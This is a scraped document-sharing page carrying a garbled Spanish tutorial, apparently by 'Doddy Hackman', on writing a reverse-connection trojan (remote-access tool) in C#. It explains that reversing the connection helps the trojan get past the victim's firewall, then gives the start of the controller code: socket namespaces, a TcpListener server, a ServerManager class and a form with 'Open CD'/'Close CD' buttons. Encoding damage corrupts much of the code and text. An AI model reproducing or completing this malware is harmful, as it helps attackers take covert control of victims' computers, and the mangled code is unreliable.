troyano csharp

Download Troyano Csharp

Post on 14-Feb-2018

216 views

Category:

Documents

0 download

Embed Size (px)

TRANSCRIPT

  • 7/23/2019 Troyano Csharp

    1/12

    [Titulo] : Creacion de un Troyano de

    Conexion Inversa

    [Lenguaje] : C#

    [Autor] : Doddy Hackman

    [Temario]

    !!!!!!!!!!!!!!!!!

    "x" : Introduccion

    "x"$ : Creacion del servidor

    "x"% : Creacion del cliente

    "x"& : 'ro(ando el )rograma

    "x"* : +i(liogra,ia

    !!!!!!!!!!!!!!!!!

  • 7/23/2019 Troyano Csharp

    2/12

    "x" : Introduccion

    Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la

    victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute

    aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos deconexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.

    Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion

    inversa en C# pero gracias a un ejemplo llamado !everse Connection !A" xample hecho por

    x$ilent de hac%hound logre entender el funcionamiento

    $abiendo todo esto vamos hacer uno en C# con &isual $tudio '()(.

    Comencemos ...

    "x"$ : Creacion del servidor

    *rimero vamos a crear el servidor de la siguiente forma con visual studio +

    Una ve creado el proyecto pongan lo siguientes namespaces al inicio del codigo +

    usingSystem.Threading;// Lo usamos para poder manejar los hilos

    usingSystem.Net.Sockets;// Lo usamos para poder crear la conexion

    usingSystem.Net;// Lo usamos para poder crear la conexionusingSystem.Text.RegularExpressions;// Lo usamos para buscar enlos strings usando expresiones regulares

  • 7/23/2019 Troyano Csharp

    3/12

    -espues pongan las siguientes variables gobales al inicio del codigo +

    TcpListenertcpser!er;// Establecemos la !ariable tcpser!er como

    TcpListenerThreadthreadser!er;// Establecemos la !ariable threadser!erThread

    Ahora vamos a crear una clase llamada $erveranager con el siguiente codigo +

    // Ser!er "anager// #oded $y %oddy &ackman// #redits '

    // Rat $ased on ' http'//(((.hack)orums.net/sho(thread.php*tid+,-01!// Thanks to xSilent

    usingSystem;

    usingSystem.#ollections.2eneric;

    usingSystem.Text;

    usingSystem.Net.Sockets;// 3ara el manejo de sockets

    usingSystem.45;// 3ara el manejo de Streams

    usingSystem.6indo(s.7orms; // 3ara el manejo de )ormularios

    usingSystem.Text.RegularExpressions;// 3ara el manejo deexpresiones regulares

    namespaceser!er8

    classSer!er"anager

    8

    publicTcp#lientmanager;// 9ariable global para manejar elcliente

    publicstringip;// 9ariable global para tener la 43

    publicdelegate!oidcargandodatos:Ser!er"anagermanagerstring"essage

  • 7/23/2019 Troyano Csharp

    4/12

    ip+regex.2roups?@A.9alue;// 2uardamos la 43

    B

    manager.2etStream:

  • 7/23/2019 Troyano Csharp

    5/12

    l formulario del servidor lo vamos hacer de la siguiente forma +

    /01 ) 2ist&iew con una columna que tiene de texto 3diots 4ound y ponen la propiedad &iew en

    -etails

    /01 5 6otones con el siguiente texto 7nline,7penC-,Close C-

    2es tiene que quedar algo asi +

    Una ve hecho esto hacemos doble clic% en el primer boton llamado 7nline para poner el

    siguiente codigo +

    pri!ate!oidbutton@#lick:objectsenderE!entCrgse